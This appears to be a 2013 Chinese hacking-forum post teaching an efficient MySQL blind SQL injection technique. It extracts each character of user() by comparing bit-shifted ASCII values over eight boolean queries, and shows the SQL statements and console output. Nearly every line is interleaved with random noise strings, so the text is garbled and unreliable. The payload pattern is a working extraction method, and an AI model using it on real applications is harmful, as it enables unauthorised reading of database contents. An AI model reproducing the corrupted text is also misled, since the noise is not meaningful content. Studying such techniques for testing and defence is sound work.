找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2199|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
8 m6 G; T6 X, c3 y7 o6 u% C5 F3 f$ [9 @0 o: {; m' V2 ]( R, v
4 l2 Z5 E( O5 e* N

, ~5 |6 K6 _8 ^+ n* h$ I下面将以查询mysql数据库当中user()的第一位为例:, V: g  k/ r4 z; Q! a% O0 w

+ M$ A% ^3 I2 ^9 w+ ^
9 |  Q" S7 L( U# l& h5 t. o7 `, O9 P% f7 [8 n
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)" ?9 l+ {9 o; L$ g* z
  L# u# Q8 V( y6 F3 a; _2 c

3 p2 y2 r, r. k0 h, K
9 {  k  o3 Z( o% j首先执行如下sql语句:7 v! g8 @3 p* [* F2 d! n
8 R4 }7 b; }' ~9 [
' ^  z; H" k, W0 r& p1 q' _3 a

# `  c) Z2 \  B2 S) Amysql> select (ascii((substr(user(),1,1))) >> 7)=0;- L! d" m3 n7 o& f& F" `# J4 u' p4 J
" x" E& Y0 q: M3 j

# w/ P3 a7 v! z+ U7 U. H
: O# B5 d/ J/ ?% q! l5 S我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
% ]$ e! f( I, U' F; d& P% X
; \: Y9 j8 `1 E& t, I* I! Q; E
; f8 u7 Y' F0 P0 G% m1 g1 m7 \
9 b% a1 H" L; z$ v3 |, J' c第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为16 t) Q  R/ N/ B4 k3 ^5 L
6 A: N3 o) i" M9 o3 T
" `6 p! d/ z& x; l
# @2 t4 }$ d. N' b
如果运算结果为1,说明第一位为0,不为1
) `8 M& y2 `% o4 r
9 ?. \  h- k4 B! {( K/ g: I 3 c. |3 k" c- Y+ w

+ u5 A) m4 F; z+————————————–+
# E' y5 ?3 W3 H' g: b% F- e  L% ^' X- m
| (ascii((substr(user(),1,1))) >> 7)=0 |! H. l- k2 s+ n
  I+ T! n/ j9 Z0 y
+————————————–+
0 R: P6 A  P) d9 m( M; Y" e7 k# l' ~
' M4 T! W9 `$ u' g' r! f| 1 |
$ P3 b" K1 [* S9 o) _- D
) n& r6 T6 C0 |  t- F) ?+ }+————————————–+
5 p0 f4 S6 V+ e" l
. v7 ], H* r- j# E1 row in set (0.00 sec)
. }; q' B  {1 i3 Q& W- c9 R
  t( k2 a$ v3 M, }" {" T% R  q这样我们就确定这个8bit的ascii的第一位为0* _! C7 k' H8 _9 a& m

2 w' x' }: P8 m8 z4 z% E0 R # R8 T/ `; k2 R" d% @
9 ^; v0 w. N: [" `* B
第二次我们来做6次右偏移来确定前两位* p1 r$ O3 n7 d; |" E

) k2 M5 X0 J0 R/ [4 L4 Z
8 b) j( j) `2 I+ H5 E( A: S( z# k( n
前两位可能是01或00,即依然可以与0做比较,
! w' Z7 T) _2 K6 w# ]8 u8 n. t( H6 F! v: x0 i4 J$ x
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;+ _" q' _. s' [- i) l3 ?+ i- z
$ u9 q1 Z6 @# `$ K/ E& {
+————————————–+' d  O# g6 @  t3 U3 a

* r$ X) W2 [8 Z! c. Q. I0 s$ X| (ascii((substr(user(),1,1))) >> 6)=0 |& c9 n( ~; H( Z& ~8 y
; z3 E* f" M; c
+————————————–+
) S+ ?' `1 O& C/ I5 ^& U" v0 N; z3 y& W. L+ X0 R+ L
| 0 |
+ O: T3 W: x% {, ~1 d; G8 F3 o/ \' _7 U: ]: [% W& T+ d/ c
+————————————–+
# L5 B" _- S. I$ [( Y/ P8 x1 i$ j$ O
1 O9 r0 T, ?+ ^/ S: [: e, K1 row in set (0.00 sec)
7 K8 z7 B; p( X- P0 G. B/ X
! R) g6 S* U/ u# \7 a
* X. d& }8 \: C: N% h) t. N7 i
结果为0,即第二位为1
. y$ E+ C- R* \* A) b
9 J, A1 m" h1 k: H3 @ : }, D  m" f* J& A- P/ M; y
' {$ ]4 r$ ^" g9 g1 H
开始猜测前三位为010或0119 y* ~) `  D5 h3 `

% z7 B6 l+ P4 c' D! m- L( @- L, ^ 8 `1 d1 E4 ?- }: _$ v1 }
9 F9 ~2 f' L% A9 h- |+ g* m7 X/ _
让我们看看010和011的ascii码是多少
& j. q; `* p3 n; @( j8 e8 j( O4 `; m
$ o) U' F! _9 J7 U3 _& F: l

! J/ P% A* v9 [2 H分别查询select b’011′ select b’010′
9 F" Q  J  |) [! d& q
) Y: w8 J+ C0 w! {
  Y) }( @" E6 M* z4 v
* ~6 A' n' x3 X  P% Q5 F0 a获得结果 010 = 2 011 = 33 O2 N& ?1 l" Y4 V' p- C9 z
' ^1 Z; ?) C, P# \

) v# q& G! W: u' Q4 Y( W2 E/ ]; R3 c; b2 x! J; @# @' F: V
执行如下sql:- i) B+ a* g$ `$ ~
: J. K$ O4 q) h1 J1 ?

, y, {& |( y! p1 V
4 I* S2 }# r- K# `( Nmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
* C) O% N- b4 m. }
9 K9 ?% Z3 n/ g+————————————–+
2 ~$ |5 L" O% N7 N9 m' M/ @! U5 f* r) ], d
| (ascii((substr(user(),1,1))) >> 5)=2 |
$ n/ |0 L" b( f' P9 x# q" i3 n8 H/ [5 b
+————————————–+
+ v0 @# v+ \% O. C) [
5 }+ |" j& P, J' q* ?) q7 I| 0 |2 r  n. Z; O' S: W5 ]" G
  ?+ {. Z+ r6 P
+————————————–+6 z9 J$ X( e+ p8 |; G
1 Q3 y3 e8 N6 M& h# H; \
即前三位不为010,而是011
2 \; n# ~! B7 F% g6 U% a9 l  s1 q+ I: P' A# Z

0 G3 u' T; ^8 I! ^5 \7 Z5 Q6 m8 m& d5 j+ Z  d7 l* |+ q$ S" n2 [
直到获得最后一位
5 u& E. e# m# w% ^; A" O" ]: s! X" _

- x! a3 Z1 [" e- `% O! T; b) F
1 x) B; Y$ M0 A1 d3 B4 C# d- }最终结果为:01110010
9 v; w' A" j' S( T, K" }; b: Y# r; D5 S

$ I) h  g! W7 U0 g. D0 ^9 \( r, ?6 ^4 A2 P
转换一下:& H  G* s0 m. a  M) E

. e  ]+ ]; l0 r* L, W/ v7 F# I ) v6 l! t% v& v9 l" K$ ~6 d
. z% ]8 L) h) }: Z2 f# Q% l5 K
select b’01110010′
& ]( m* g: I, S* J5 m
) E! [, ~1 {7 o7 W! d 8 `8 H% I. K2 r; S( H6 P/ z

( x' O. Q- a1 x8 ?7 y9 J查询结果
8 i, v/ s% ^7 }* u4 m! q7 k1 a3 v) H
: X# l' s8 T- S 4 d( d8 g  ^+ W1 F
- T$ R! h" q0 D
+————-+
( H7 \" F  x; R8 [! |3 q7 ^2 S1 ^7 T6 Z4 ?( E) T) V
| b’01110010′ |$ N1 |- S# @( j$ n
9 b+ o* u8 W) F1 k, N: k" p
+————-+/ ]# D4 w( |" F/ F: X6 f3 n8 r
# _/ `: n7 E$ o+ `9 ^0 b% U: W7 l
| r |
% d( w, ~# j5 J5 V* J; j" t
, V0 x& g* N5 d) j! B1 U# c+————-+3 U* E1 m7 ]" G. x8 {

5 Q7 Y, _) t( _: H8 F" A1 row in set (0.00 sec)6 k( W* d* @$ m' Y0 W

6 |4 D) j  p+ m5 k5 g
5 o6 `  v9 g" E, F! h6 y& s( [7 j; K" E% C
这样我们就获得了user()的第一位.其它位依此类推7 C. r  k! ^" B' M3 S* q0 L

; i& B! {( M' T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表